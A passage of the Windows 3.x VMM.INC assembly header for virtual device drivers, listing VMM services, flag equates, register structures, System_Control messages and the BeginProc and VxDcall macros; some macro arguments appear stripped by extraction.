VMM_Service _PageGetAllocInfo VMM_Service _GetFreePageCount VMM_Service _GetSysPageCount VMM_Service _GetVMPgCount VMM_Service _MapIntoV86 VMM_Service _PhysIntoV86 VMM_Service _TestGlobalV86Mem VMM_Service _ModifyPageBits VMM_Service _CopyPageTable VMM_Service _LinMapIntoV86 VMM_Service _LinPageLock VMM_Service _LinPageUnLock VMM_Service _SetResetV86Pageable VMM_Service _GetV86PageableArray VMM_Service _PageCheckLinRange VMM_Service _PageOutDirtyPages VMM_Service _PageDiscardPages ; --------------------------------------------------- ; ; Flags for other page allocator calls ; ; --------------------------------------------------- PageZeroInit equ 00000000000000000000000000000001B PageUseAlign equ 00000000000000000000000000000010B PageContig equ 00000000000000000000000000000100B PageFixed equ 00000000000000000000000000001000B PageDEBUGNulFault equ 00000000000000000000000000010000B PageZeroReInit equ 00000000000000000000000000100000B PageNoCopy equ 00000000000000000000000001000000B PageLocked equ 00000000000000000000000010000000B PageLockedIfDP equ 00000000000000000000000100000000B PageSetV86Pageable equ 00000000000000000000001000000000B PageClearV86Pageable equ 00000000000000000000010000000000B PageSetV86IntsLocked equ 00000000000000000000100000000000B PageClearV86IntsLocked equ 00000000000000000001000000000000B PageMarkPageOut equ 00000000000000000010000000000000B PagePDPSetBase equ 00000000000000000100000000000000B PagePDPClearBase equ 00000000000000001000000000000000B PageDiscard equ 00000000000000010000000000000000B PagePDPQueryDirty equ 00000000000000100000000000000000B ; ; New for 3.10 ; PageMapFreePhysReg equ 00000000000001000000000000000000B ; NOTE: HIGH 8 BITS (bits 24-31) are reserved ; ; Informational services ; VMM_Service _GetNulPageHandle VMM_Service _GetFirstV86Page VMM_Service _MapPhysToLinear VMM_Service _GetAppFlatDSAlias VMM_Service _SelectorMapFlat VMM_Service _GetDemandPageInfo ; ; Data structure for _GetDemandPageInfo ; DemandInfoStruc struc DILin_Total_Count dd ? ; # pages in linear address space DIPhys_Count dd ? ; Count of phys pages DIFree_Count dd ? ; Count of free phys pages DIUnlock_Count dd ? ; Count of unlocked Phys Pages DILinear_Base_Addr dd ? ; Base of pageable address space DILin_Total_Free dd ? ; Total Count of free linear pages DIReserved dd 10 dup (?) ; Resvd for expansion DemandInfoStruc ends VMM_Service _GetSetPageOutCount ; ; Flags bits for _GetSetPageOutCount ; GSPOC_F_Get equ 00000000000000000000000000000001B ; ; Device VM page manager ; VMM_Service Hook_V86_Page VMM_Service _Assign_Device_V86_Pages VMM_Service _DeAssign_Device_V86_Pages VMM_Service _Get_Device_V86_Pages_Array VMM_Service MMGR_SetNULPageAddr ; ; GDT/LDT management ; VMM_Service _Allocate_GDT_Selector VMM_Service _Free_GDT_Selector VMM_Service _Allocate_LDT_Selector VMM_Service _Free_LDT_Selector VMM_Service _BuildDescriptorDWORDs ; ; Flag equates for _BuildDescriptorDWORDs ; BDDExplicitDPL EQU 00000000000000000000000000000001B ; ; Flag equates for _Allocate_LDT_Selector ; ALDTSpecSel EQU 00000000000000000000000000000001B VMM_Service _GetDescriptor VMM_Service _SetDescriptor VMM_Service _MMGR_Toggle_HMA ; ; Flag equates for _MMGR_Toggle_HMA ; MMGRHMAPhysical EQU 00000000000000000000000000000001B MMGRHMAEnable EQU 00000000000000000000000000000010B MMGRHMADisable EQU 00000000000000000000000000000100B MMGRHMAQuery EQU 00000000000000000000000000001000B VMM_Service Get_Fault_Hook_Addrs VMM_Service Hook_V86_Fault VMM_Service Hook_PM_Fault VMM_Service Hook_VMM_Fault VMM_Service Begin_Nest_V86_Exec VMM_Service Begin_Nest_Exec VMM_Service Exec_Int VMM_Service Resume_Exec VMM_Service End_Nest_Exec VMM_Service Allocate_PM_App_CB_Area, VMM_ICODE VMM_Service Get_Cur_PM_App_CB VMM_Service Set_V86_Exec_Mode VMM_Service Set_PM_Exec_Mode VMM_Service Begin_Use_Locked_PM_Stack VMM_Service End_Use_Locked_PM_Stack VMM_Service Save_Client_State VMM_Service Restore_Client_State VMM_Service Exec_VxD_Int VMM_Service Hook_Device_Service VMM_Service Hook_Device_V86_API VMM_Service Hook_Device_PM_API VMM_Service System_Control ; ; I/O and software interrupt hooks ; VMM_Service Simulate_IO VMM_Service Install_Mult_IO_Handlers VMM_Service Install_IO_Handler VMM_Service Enable_Global_Trapping VMM_Service Enable_Local_Trapping VMM_Service Disable_Global_Trapping VMM_Service Disable_Local_Trapping ; ; Linked List Abstract Data Type Services ; VMM_Service List_Create VMM_Service List_Destroy VMM_Service List_Allocate VMM_Service List_Attach VMM_Service List_Attach_Tail VMM_Service List_Insert VMM_Service List_Remove VMM_Service List_Deallocate VMM_Service List_Get_First VMM_Service List_Get_Next VMM_Service List_Remove_First ; ; Flags used by List_Create ; LF_Async EQU 00000001b LF_Async_Bit EQU 0 LF_Use_Heap EQU 00000010b LF_Use_Heap_Bit EQU 1 LF_Alloc_Error EQU 00000100b LF_Alloc_Error_Bit EQU 2 ;============================================================================== ; I N I T I A L I Z A T I O N P R O C E D U R E S ;------------------------------------------------------------------------------ ; ; Instance data manager ; VMM_Service _AddInstanceItem ; ; Data structure for _AddInstanceItem ; InstDataStruc struc InstLinkF dd 0 ; RESERVED SET TO 0 InstLinkB dd 0 ; RESERVED SET TO 0 InstLinAddr dd ? ; Linear address of start of block InstSize dd ? ; Size of block in bytes InstType dd ? ; Type of block InstDataStruc ends ; ; Values for InstType ; INDOS_Field equ 100h ; Bit indicating INDOS switch requirements ALWAYS_Field equ 200h ; Bit indicating ALWAYS switch requirements ; ; System structure data manager ; VMM_Service _Allocate_Device_CB_Area, VMM_ICODE VMM_Service _Allocate_Global_V86_Data_Area, VMM_ICODE VMM_Service _Allocate_Temp_V86_Data_Area, VMM_ICODE VMM_Service _Free_Temp_V86_Data_Area, VMM_ICODE ; ; Flag bits for _Allocate_Global_V86_Data_Area ; GVDAWordAlign EQU 00000000000000000000000000000001B GVDADWordAlign EQU 00000000000000000000000000000010B GVDAParaAlign EQU 00000000000000000000000000000100B GVDAPageAlign EQU 00000000000000000000000000001000B GVDAInstance EQU 00000000000000000000000100000000B GVDAZeroInit EQU 00000000000000000000001000000000B GVDAReclaim EQU 00000000000000000000010000000000B ; ; New for 3.10 ; GVDAInquire EQU 00000000000000000000100000000000B GVDAHighSysCritOK EQU 00000000000000000001000000000000B ; ; Initialization information calls (win.ini and environment parameters) ; VMM_Service Get_Profile_Decimal_Int, VMM_ICODE VMM_Service Convert_Decimal_String, VMM_ICODE VMM_Service Get_Profile_Fixed_Point, VMM_ICODE VMM_Service Convert_Fixed_Point_String, VMM_ICODE VMM_Service Get_Profile_Hex_Int, VMM_ICODE VMM_Service Convert_Hex_String, VMM_ICODE VMM_Service Get_Profile_Boolean, VMM_ICODE VMM_Service Convert_Boolean_String, VMM_ICODE VMM_Service Get_Profile_String, VMM_ICODE VMM_Service Get_Next_Profile_String, VMM_ICODE VMM_Service Get_Environment_String, VMM_ICODE VMM_Service Get_Exec_Path, VMM_ICODE VMM_Service Get_Config_Directory, VMM_ICODE VMM_Service OpenFile, VMM_ICODE VMM_Service Get_PSP_Segment, VMM_ICODE VMM_Service GetDOSVectors, VMM_ICODE VMM_Service Get_Machine_Info GMIF_80486 EQU 00010000h GMIF_80486_Bit EQU 10h GMIF_PCXT EQU 00020000h GMIF_PCXT_Bit EQU 11h GMIF_MCA EQU 00040000h GMIF_MCA_Bit EQU 12h GMIF_EISA EQU 00080000h GMIF_EISA_Bit EQU 13h ; ; Following service is not restricted to initialization ; VMM_Service GetSet_HMA_Info VMM_Service Set_System_Exit_Code VMM_Service Fatal_Error_Handler VMM_Service Fatal_Memory_Error ; ; Called by VTD only ; VMM_Service Update_System_Clock ;============================================================================== ; D E B U G G I N G E X T E R N S ;============================================================================== VMM_Service Test_Debug_Installed ; Valid call in retail also VMM_Service Out_Debug_String ; Valid in DEBLEVEL=1 VMM_Service Out_Debug_Chr VMM_Service In_Debug_Chr VMM_Service Debug_Convert_Hex_Binary VMM_Service Debug_Convert_Hex_Decimal VMM_Service Debug_Test_Valid_Handle VMM_Service Validate_Client_Ptr VMM_Service Test_Reenter VMM_Service Queue_Debug_String VMM_Service Log_Proc_Call VMM_Service Debug_Test_Cur_VM VMM_Service Get_PM_Int_Type VMM_Service Set_PM_Int_Type VMM_Service Get_Last_Updated_System_Time VMM_Service Get_Last_Updated_VM_Exec_Time ; for DBCS Enabling VMM_Service Test_DBCS_Lead_Byte .errnz Test_DBCS_Lead_Byte - 100D1h ; VMM service table changed above this service ;************************************************************************* ;************************************************************************* ;************************************************************************* ; ; END OF 3.00 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT ; FOR COMPATIBILITY. ; VMM_Service _AddFreePhysPage, VMM_ICODE VMM_Service _PageResetHandlePAddr VMM_Service _SetLastV86Page, VMM_ICODE VMM_Service _GetLastV86Page VMM_Service _MapFreePhysReg VMM_Service _UnmapFreePhysReg VMM_Service _XchgFreePhysReg VMM_Service _SetFreePhysRegCalBk, VMM_ICODE VMM_Service Get_Next_Arena, VMM_ICODE VMM_Service Get_Name_Of_Ugly_TSR, VMM_ICODE VMM_Service Get_Debug_Options, VMM_ICODE ; ; Bits for the ECX return of Get_Next_Arena ; GNA_HiDOSLinked equ 0000000000000010B ; High DOS arenas were linked in ; when WIN386 was started GNA_IsHighDOS equ 0000000000000100B ; High DOS arenas do exist VMM_Service Set_Physical_HMA_Alias, VMM_ICODE VMM_Service _GetGlblRng0V86IntBase, VMM_ICODE VMM_Service _Add_Global_V86_Data_Area, VMM_ICODE VMM_Service GetSetDetailedVMError ; ; Error code values for the GetSetDetailedVMError service. PLEASE NOTE ; that all of these error code values need to have bits set in the high ; word. This is to prevent collisions with other VMDOSAPP standard errors. ; Also, the low word must be non-zero. ; ; First set of errors (high word = 0001) are intended to be used ; when a VM is CRASHED (VNE_Crashed or VNE_Nuked bit set on ; VM_Not_Executeable). ; ; PLEASE NOTE that each of these errors (high word == 0001) actually ; has two forms: ; ; 0001xxxxh ; 8001xxxxh ; ; The device which sets the error initially always sets the error with ; the high bit CLEAR. The system will then optionally set the high bit ; depending on the result of the attempt to "nicely" crash the VM. This ; bit allows the system to tell the user whether the crash is likely or ; unlikely to destabalize the system. ; GSDVME_PrivInst equ 00010001h ; Privledged instruction GSDVME_InvalInst equ 00010002h ; Invalid instruction GSDVME_InvalPgFlt equ 00010003h ; Invalid page fault GSDVME_InvalGpFlt equ 00010004h ; Invalid GP fault GSDVME_InvalFlt equ 00010005h ; Invalid fault, not any of abv GSDVME_UserNuke equ 00010006h ; User requested NUKE of running ; VM GSDVME_DevNuke equ 00010007h ; Device specific problem GSDVME_DevNukeHdwr equ 00010008h ; Device specific problem, ; invalid hardware fiddling ; by VM (invalid I/O) GSDVME_NukeNoMsg equ 00010009h ; Supress standard messgs, ; SHELL_Message used for ; custom msg. GSDVME_OkNukeMask equ 80000000h ; "Nice nuke" bit ; ; Second set of errors (high word = 0002) are intended to be used ; when a VM start up is failed (VNE_CreateFail, VNE_CrInitFail, or ; VNE_InitFail bit set on VM_Not_Executeable). ; GSDVME_InsMemV86 equ 00020001h ; base V86 mem - V86MMGR GSDVME_InsV86Space equ 00020002h ; Kb Req too large - V86MMGR GSDVME_InsMemXMS equ 00020003h ; XMS Kb Req - V86MMGR GSDVME_InsMemEMS equ 00020004h ; EMS Kb Req - V86MMGR GSDVME_InsMemV86Hi equ 00020005h ; Hi DOS V86 mem - DOSMGR ; V86MMGR GSDVME_InsMemVid equ 00020006h ; Base Video mem - VDD GSDVME_InsMemVM equ 00020007h ; Base VM mem - VMM ; CB, Inst Buffer GSDVME_InsMemDev equ 00020008h ; Couldn't alloc base VM ; memory for device. GSDVME_CrtNoMsg equ 00020009h ; Supress standard messgs, ; SHELL_Message used for ; custom msg. VMM_Service Is_Debug_Chr ; ; Mono_Out services ; VMM_Service Clear_Mono_Screen VMM_Service Out_Mono_Chr VMM_Service Out_Mono_String VMM_Service Set_Mono_Cur_Pos VMM_Service Get_Mono_Cur_Pos VMM_Service Get_Mono_Chr ; ; Service locates a byte in ROM ; VMM_Service Locate_Byte_In_ROM, VMM_ICODE VMM_Service Hook_Invalid_Page_Fault VMM_Service Unhook_Invalid_Page_Fault ; ; This is the structure of the "invalid page fault information" ; which is pointed to by EDI when Invalid page fault hookers ; are called. ; ; page faults can occur on a VM which is not current by touching the VM at ; its high linear address. In this case, IPF_FaultingVM may not = the ; current VM, it will be set to the VM whos high linear address was touched. ; IPF_Data struc IPF_LinAddr dd ? ; CR2 address of fault IPF_MapPageNum dd ? ; Possible converted page # of fault IPF_PTEEntry dd ? ; Contents of PTE that faulted IPF_FaultingVM dd ? ; May not = Current VM (IPF_V86PgH set) IPF_Flags dd ? ; Flags IPF_Data ends ; ; Flag bits of IPF_Flags ; ; Page directory entry not-present (not pres page table) IPF_PgDir equ 000000000000000000000000000000001b ; Unexpected not present Page in V86 IPF_V86Pg equ 000000000000000000000000000000010b ; Unexpected not present Page in V86 at high linear IPF_V86PgH equ 000000000000000000000000000000100b ; page has invalid not present type IPF_InvTyp equ 000000000000000000000000000001000b ; pageswap device couldn't page for some reason IPF_PgErr equ 000000000000000000000000000010000b ; re-entrant page fault IPF_ReFlt equ 000000000000000000000000000100000b ; Page fault caused by a VxD IPF_VMM equ 000000000000000000000000001000000b ; Page fault caused by VM running in Prot Mode IPF_PM equ 000000000000000000000000010000000b ; Page fault caused by VM running in V86 Mode IPF_V86 equ 000000000000000000000000100000000b VMM_Service Set_Delete_On_Exit_File VMM_Service Close_VM ; ; Flags for Close_VM service ; CVF_Continue_Exec equ 00000001b CVF_Continue_Exec_Bit equ 0 VMM_Service Enable_Touch_1st_Meg ; Debugging only VMM_Service Disable_Touch_1st_Meg ; Debugging only VMM_Service Install_Exception_Handler VMM_Service Remove_Exception_Handler Exception_Handler_Struc STRUC EH_Reserved dd ? EH_Start_EIP dd ? EH_End_EIP dd ? EH_Handler dd ? Exception_Handler_Struc ENDS VMM_Service Get_Crit_Status_No_Block .errnz Get_Crit_Status_No_Block - 100F1h ; VMM service table changed above this service ;************************************************************************* ;************************************************************************* ;************************************************************************* ; ; END OF 3.10 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT ; FOR COMPATIBILITY. ; End_Service_Table VMM, VMM ;****************************************************************************** IFDEF DEBUG DebFar EQU NEAR PTR ELSE DebFar EQU SHORT ENDIF BeginDoc ;****************************************************************************** ; ; EQUATES FOR SYSTEM_CONTROL CALLS ; ;============================================================================== ; ; Sys_Critical_Init is a device init call. Devices that have a critical ; function that needs initializing before interrupts are enabled should ; do it at Sys_Critical_Init. Devices which REQUIRE a certain range of ; V86 pages to operate (such as the VDD video memory) should claim them ; at Sys_Critical_Init. SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT ; ALLOWED. Returning carry aborts device load only. ; Sys_Critical_Init EQU 0000h ; Devices required for virt mode ; ; Device init is where most devices do the bulk of their initialization. ; SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry ; aborts device load only. ; Device_Init EQU 0001h ; All other devices init ; ; Init_Complete is the final phase of device init called just before the ; WIN386 INIT pages are released and the Instance snapshot is taken. ; Devices which wish to search for a region of V86 pages >= A0h to use ; should do it at Init_Complete. ; SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry ; aborts device load only. ; Init_Complete EQU 0002h ; All devices have initialized ;----------------- INITIALIZATION CODE AND DATA DISCARDED --------------------- ; ; Same as VM_Init, except for SYS VM. ; Sys_VM_Init EQU 0003h ; Execute the system VM (Win86) ; ; Same as VM_Terminate, except for SYS VM (Normal WIN386 exit ONLY, on a crash ; exit this call is not made). SYS VM Simulate_Int, Exec_Int activity is ; allowed. ; Sys_VM_Terminate EQU 0004h ; System VM terminted (exiting) ;------------------------------------------------------------------------------ ; ; System_Exit call is made when WIN386 is exiting either normally or via ; a crash. INTERRUPS ARE ENABLED. Instance snapshot has been restored. ; SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT ALLOWED. ; System_Exit EQU 0005h ; Devices prepare to exit ; ; System_Exit call is made when WIN386 is exiting either normally or via ; a crash. INTERRUPS ARE DISABLED. SYS VM Simulate_Int, Exec_Int ACTIVITY ; IS NOT ALLOWED. ; Sys_Critical_Exit EQU 0006h ; System critical devices reset ; ; Create_VM creates a new VM. EBX = VM handle of new VM. Returning Carry will ; fail the Create_VM. ; Create_VM EQU 0007h ; ; Second phase of Create_VM. EBX = VM handle of new VM. Returning Carry will ; cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int, ; Exec_Int activity is NOT allowed. ; VM_Critical_Init EQU 0008h ; ; Third phase of Create_VM. EBX = VM handle of new VM. Returning Carry will ; cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int, ; Exec_Int activity is allowed. ; VM_Init EQU 0009h ; ; NORMAL (First phase) of Destroy_VM. EBX = VM Hanlde. This occurs on normal ; termination of the VM. Call cannot be failed. VM Simulate_Int, Exec_Int ; activity is allowed. ; VM_Terminate EQU 000Ah ; Still in VM -- About to die ; ; Second phase of Destroy_VM. EBX = VM Handle, EDX = Flags (see below). Note ; that in the case of destroying a running VM, this is the first call made ; (VM_Terminate call does not occur). Call cannot be failed. VM Simulate_Int, ; Exec_Int activity is NOT allowed. ; VM_Not_Executeable EQU 000Bh ; Most devices die (except VDD) ; ; Final phase of Destroy_VM. EBX = VM Handle. Note that considerable time ; can elaps between the VM_Not_Executeable call and this call. Call cannot ; be failed. VM Simulate_Int, Exec_Int activity is NOT allowed. ; Destroy_VM EQU 000Ch ; VM's control block about to go ; ; Flags for VM_Not_Executeable control call (passed in EDX) ; VNE_Crashed EQU 0000000000000000000000001b VNE_Crashed_Bit EQU 0 ; VM was crashed VNE_Nuked EQU 0000000000000000000000010b VNE_Nuked_Bit EQU 1 ; VM was destroyed while active VNE_CreateFail EQU 0000000000000000000000100b VNE_CreateFail_Bit EQU 2 ; Some device failed Create_VM VNE_CrInitFail EQU 0000000000000000000001000b VNE_CrInitFail_Bit EQU 3 ; Some device failed VM_Critical_Init VNE_InitFail EQU 0000000000000000000010000b VNE_InitFail_Bit EQU 4 ; Some device failed VM_Init VNE_Closed EQU 0000000000000000000100000b VNE_Closed_Bit EQU 5 ;------------------------------------------------------------------------------ ; ; EBX = VM Handle. Call cannot be failed. ; VM_Suspend EQU 000Dh ; VM not runnable until resume ; ; EBX = VM Handle. Returning carry fails and backs out the resume. ; VM_Resume EQU 000Eh ; VM is leaving suspended state ;------------------------------------------------------------------------------ ; ; EBX = VM Handle to set device focus to. EDX = Device ID if device specific ; setfocus. == 0 if device critical setfocus (all devices). THIS CALL CANNOT ; BE FAILED. ; ; NOTE: In case where EDX == 0, ESI is a FLAG word that indicates special ; functions. Currently Bit 0 being set indicates that this Device ; critical set focus is also "VM critical". It means that we do not ; want some other VM to take the focus from this app now. This is ; primarily used when doing a device critical set focus to Windows ; (the SYS VM) it is interpreted by the SHELL to mean "if an old app ; currently has the Windows activation, set the activation to the ; Windows Shell, not back to the old app". ALSO in the case where ; Bit 0 is set, EDI = The VM handle of the VM that is "having trouble". ; Set this to 0 if there is no specific VM associated with the problem. ; Set_Device_Focus EQU 000Fh ;------------------------------------------------------------------------------ ; ; EBX = VM Handle going into message mode. THIS CALL CANNOT BE FAILED. ; Begin_Message_Mode EQU 0010h ; ; EBX = VM Handle leaving message mode. THIS CALL CANNOT BE FAILED. ; End_Message_Mode EQU 0011h ;------------------------- SPECIAL CONTROL CALLS ------------------------------ ; ; Request for reboot. Call cannot be failed. ; Reboot_Processor EQU 0012h ; Request a machine reboot ; ; Query_Destroy is an information call made by the SHELL device before an ; attempt is made to initiate a destroy VM sequence on a running VM which ; has not exited normally. EBX = VM Handle. Returning carry indicates that ; a device "has a problem" with allowing this. THE DESTROY SEQUENCE CANNOT ; BE ABORTED HOWEVER, this decision is up to the user. All this does is ; indicate that there is a "problem" with allowing the destroy. The device ; which returns carry should call the SHELL_Message service to post an ; informational dialog about the reason for the problem. ; Query_Destroy EQU 0013h ; OK to destroy running VM? ;------------------------- DEBUGGING CONTROL CALL ----------------------------- ; ; Special call for device specific DEBUG information display and activity. ; Debug_Query EQU 0014h ;---------- CALLS FOR BEGIN/END OF PROTECTED MODE VM EXECUTION ---------------- ; ; About to run a protected mode application. ; EBX = Current VM handle. ; EDX = Flags ; EDI -> Application Control Block ; Returning with carry set fails the call. ; Begin_PM_App EQU 0015h ; ; Flags for Begin_PM_App (passed in EDX) ; BPA_32_Bit EQU 00000001b BPA_32_Bit_Flag EQU 1 ; ; Protected mode application is terminating. ; EBX = Current VM handle. THIS CALL CAN NOT FAIL. ; EDI -> Application Control Block ; End_PM_App EQU 0016h ; ; Called whenever system is about to be rebooted. Allows VxDs to clean ; up in preperation for reboot. ; Device_Reboot_Notify EQU 0017h Crit_Reboot_Notify EQU 0018h ; ; Called when VM is about to be termintate using the Close_VM service ; EBX = Current VM handle (Handle of VM to close) ; EDX = Flags ; CVNF_Crit_Close = 1 if VM is in critical section while closing ; Close_VM_Notify EQU 0019h CVNF_Crit_Close EQU 00000001b CVNF_Crit_Close_Bit EQU 0 ; ; Power management event notification. ; EBX = 0 ; ESI = event notification message ; EDI -> DWORD return value; VxD's modify the DWORD to return info, not EDI ; EDX is reserved ; Power_Event EQU 001Ah EndDoc BeginDoc ;****************************************************************************** ; BeginProc is a macro for defining entry points to routines in VMM and in the ; VxDs. It correctly defines the procedure name for VxD services(it prepends ; a "@" to the procedure name), DWORD aligns the procedure, takes care of ; public declaration and does some calling verification for debug versions ; of the software. EndProc is a macro which defines the end of the procedure. ; ; Valid parameters to the BeginProc macro are: ; PUBLIC ; Routine used outside this module ; HIGH_FREQ ; DWORD align procedure ; SERVICE ; Routine is called via VxDCall ; ASYNC_SERVICE ; Same as "SERVICE" plus routine can ; ; be called under interrupt. ; After the routine header in which the routine entry conditions, exit ; conditions, side affects and functionality are specified, the BeginProc ; macro should be used to define the routine's entry point. It has up to ; four parameters as specified below. For example: ; ;BeginProc ,PUBLIC, HIGH_FREQ, ASYNC_SERVICE ; ; ; ;EndProc ;============================================================================== EndDoc BeginProc MACRO Name, P1, P2, P3, P4 LOCAL Profile_Data, Skip_Data IF ?_RCODE Process_Param MACRO P IFNB

IFIDNI

, Dword_Align ELSE IFIDNI

, ??_SERVICE = 1 ELSE IFIDNI

, ??_ASYNC_SERVICE = 1 IF ?_LCODE %OUT ERROR: ASYNC_SERVICE's must be in LOCKED code ;;.err ENDIF ELSE IFIDNI

, ??_NO_LOG = 1 ELSE IFDIFI

, %OUT ERROR: Bad para "&P" to BeginProc .ERR ENDIF ENDIF ENDIF ENDIF ENDIF ENDIF ENDM ??_SERVICE = 0 ??_ASYNC_SERVICE = 0 ??_NO_LOG = 0 Process_Param P1 Process_Param P2 Process_Param P3 Process_Param P4 IFE ??_SERVICE + ??_ASYNC_SERVICE PUBLIC Name Name PROC NEAR IFDEF DEBUG IFE ??_NO_LOG IFNDEF VMMSYS VMMcall Log_Proc_Call ENDIF ENDIF ENDIF ELSE IFDEF DEBUG jmp SHORT Skip_Data Profile_Data LABEL DWORD dd 0 Skip_Data: ENDIF PUBLIC @&Name @&Name PROC NEAR IFDEF DEBUG IFE ??_NO_LOG ;;;;IFNDEF VMMSYS VMMcall Log_Proc_Call ;;;;ENDIF ENDIF pushfd inc [Profile_Data] IFE ??_ASYNC_SERVICE VMMcall Test_Reenter ENDIF popfd ENDIF ENDIF ELSE IFIDNI , PUBLIC Name ENDIF Name PROC NEAR ENDIF ENDM EndProc MACRO Name IFDEF @&Name @&Name ENDP ELSE IFDEF Name Name ENDP ELSE .ERR %OUT EndProc for &Name does not match BeginProc ENDIF ENDIF ENDM ;****************************************************************************** ; S C H E D U L E R B O O S T V A L U E S ;============================================================================== Reserved_Low_Boost EQU 00000000000000000000000000000001b Cur_Run_VM_Boost EQU 00000000000000000000000000000100b Low_Pri_Device_Boost EQU 00000000000000000000000000010000b High_Pri_Device_Boost EQU 00000000000000000001000000000000b Critical_Section_Boost EQU 00000000000100000000000000000000b Time_Critical_Boost EQU 00000000010000000000000000000000b Reserved_High_Boost EQU 01000000000000000000000000000000b ;****************************************************************************** ; F L A G S F O R C A L L _ P R I O R I T Y _ V M _ E V E N T ;============================================================================== PEF_Wait_For_STI EQU 0000001b PEF_Wait_For_STI_Bit EQU 0 PEF_Wait_Not_Crit EQU 0000010b PEF_Wait_Not_Crit_Bit EQU 1 PEF_Dont_Unboost EQU 0000100b PEF_Dont_Unboost_Bit EQU 2 PEF_Always_Sched EQU 0001000b PEF_Always_Sched_Bit EQU 3 PEF_Time_Out EQU 0010000b PEF_Time_Out_Bit EQU 4 ;****************************************************************************** ; F L A G S F O R B E G I N _ C R I T I C A L _ S E C T I O N ; A N D W A I T _ S E M A P H O R E ;============================================================================== Block_Svc_Ints EQU 0000001b Block_Svc_Ints_Bit EQU 0 Block_Svc_If_Ints_Locked EQU 0000010b Block_Svc_If_Ints_Locked_Bit EQU 1 Block_Enable_Ints EQU 0000100b Block_Enable_Ints_Bit EQU 2 Block_Poll EQU 0001000b Block_Poll_Bit EQU 3 BeginDoc ;****************************************************************************** ; The following structures are pointed to by EBP when VxD routines are entered, ; both for VxD control calls and traps(I/O traps, software INT traps, etc.). ; The first structure as DWORD values, the second WORD values and the last ; has BYTE values. ; Client_Reg_Struc struc Client_EDI dd ? ; Client's EDI Client_ESI dd ? ; Client's ESI Client_EBP dd ? ; Client's EBP dd ? ; ESP at pushall Client_EBX dd ? ; Client's EBX Client_EDX dd ? ; Client's EDX Client_ECX dd ? ; Client's ECX Client_EAX dd ? ; Client's EAX Client_Error dd ? ; Dword error code Client_EIP dd ? ; EIP Client_CS dw ? ; CS dw ? ; (padding) Client_EFlags dd ? ; EFLAGS Client_ESP dd ? ; ESP Client_SS dw ? ; SS dw ? ; (padding) Client_ES dw ? ; ES dw ? ; (padding) Client_DS dw ? ; DS dw ? ; (padding) Client_FS dw ? ; FS dw ? ; (padding) Client_GS dw ? ; GS dw ? ; (padding) Client_Alt_EIP dd ? Client_Alt_CS dw ? dw ? Client_Alt_EFlags dd ? Client_Alt_ESP dd ? Client_Alt_SS dw ? dw ? Client_Alt_ES dw ? dw ? Client_Alt_DS dw ? dw ? Client_Alt_FS dw ? dw ? Client_Alt_GS dw ? dw ? Client_Reg_Struc ends Client_Word_Reg_Struc struc Client_DI dw ? ; Client's DI dw ? ; (padding) Client_SI dw ? ; Client's SI dw ? ; (padding) Client_BP dw ? ; Client's BP dw ? ; (padding) dd ? ; ESP at pushall Client_BX dw ? ; Client's BX dw ? ; (padding) Client_DX dw ? ; Client's DX dw ? ; (padding) Client_CX dw ? ; Client's CX dw ? ; (padding) Client_AX dw ? ; Client's AX dw ? ; (padding) dd ? ; Dword error code Client_IP dw ? ; Client's IP dw ? ; (padding) dd ? ; CS Client_Flags dw ? ; Client's flags (low) dw ? ; (padding) Client_SP dw ? ; SP dw ? dd 5 dup (?) Client_Alt_IP dw ? dw ? dd ? Client_Alt_Flags dw ? dw ? Client_Alt_SP dw ? Client_Word_Reg_Struc ends Client_Byte_Reg_Struc struc dd 4 dup (?) ; EDI, ESI, EBP, ESP at pushall Client_BL db ? ; Client's BL Client_BH db ? ; Client's BH dw ? ; (padding) Client_DL db ? ; Client's DL Client_DH db ? ; Client's DH dw ? ; (padding) Client_CL db ? ; Client's CL Client_CH db ? ; Client's CH dw ? ; (padding) Client_AL db ? ; Client's AL Client_AH db ? ; Client's AH Client_Byte_Reg_Struc ends ;============================================================================== EndDoc .ERRNZ Client_SP - Client_ESP .ERRNZ Client_AL - Client_EAX PushCParams MACRO P1, P2, P3, P4, P5, P6, P7, P8, P9, P10 IRP Param, IFNB push Param ENDIF ENDM ENDM ClearCParams MACRO Count, P1, P2, P3, P4, P5, P6, P7, P8, P9, P10 IFNB ClearCParams %(Count+1), , , , , , , , , ELSE IF Count add esp, Count*4 ENDIF ENDIF ENDM Dyna_Link_Int EQU 20h ; ; BeginDoc ;****************************************************************************** ; The VMMCall and VxDCall macros provide a dynamic link to the VMM and VxD ; service routines. For example: ; ; VMMCall Enable_VM_Ints ; Equivalent to STI in VM code ; ; mov eax,[My_IRQ_Handle] ; VxDCall VPICD_Set_Int_Request ; Set IRQ for my device's interrupt ; ; Note that Enable_VM_Ints is defined in VMM.INC and VPICD_Set_Int_Request is ; defined in VPICD.INC ; ;============================================================================== EndDoc BeginDoc ;****************************************************************************** ; VxDCall ;============================================================================== EndDoc VxDcall MACRO P, Param PushCParams Param int Dyna_Link_Int dd P ClearCParams 0, Param ENDM VxDjmp MACRO P, Param IFNB %OUT ERROR: Parameters may not be passed to VxDjmp or VMMjmp macros .ERR ENDIF int Dyna_Link_Int IFDEF DEBUG dd P ret ELSE dd P OR DL_Jmp_Mask ENDIF ENDM DL_Jmp_Mask EQU 8000h DL_Jmp_Bit EQU 0Fh VMMcall MACRO P, Param .ERRNZ (P SHR 16) - VMM_Device_ID VxDcall

, ENDM VMMjmp MACRO P, Param .ERRNZ (P SHR 16) - VMM_Device_ID VxDjmp

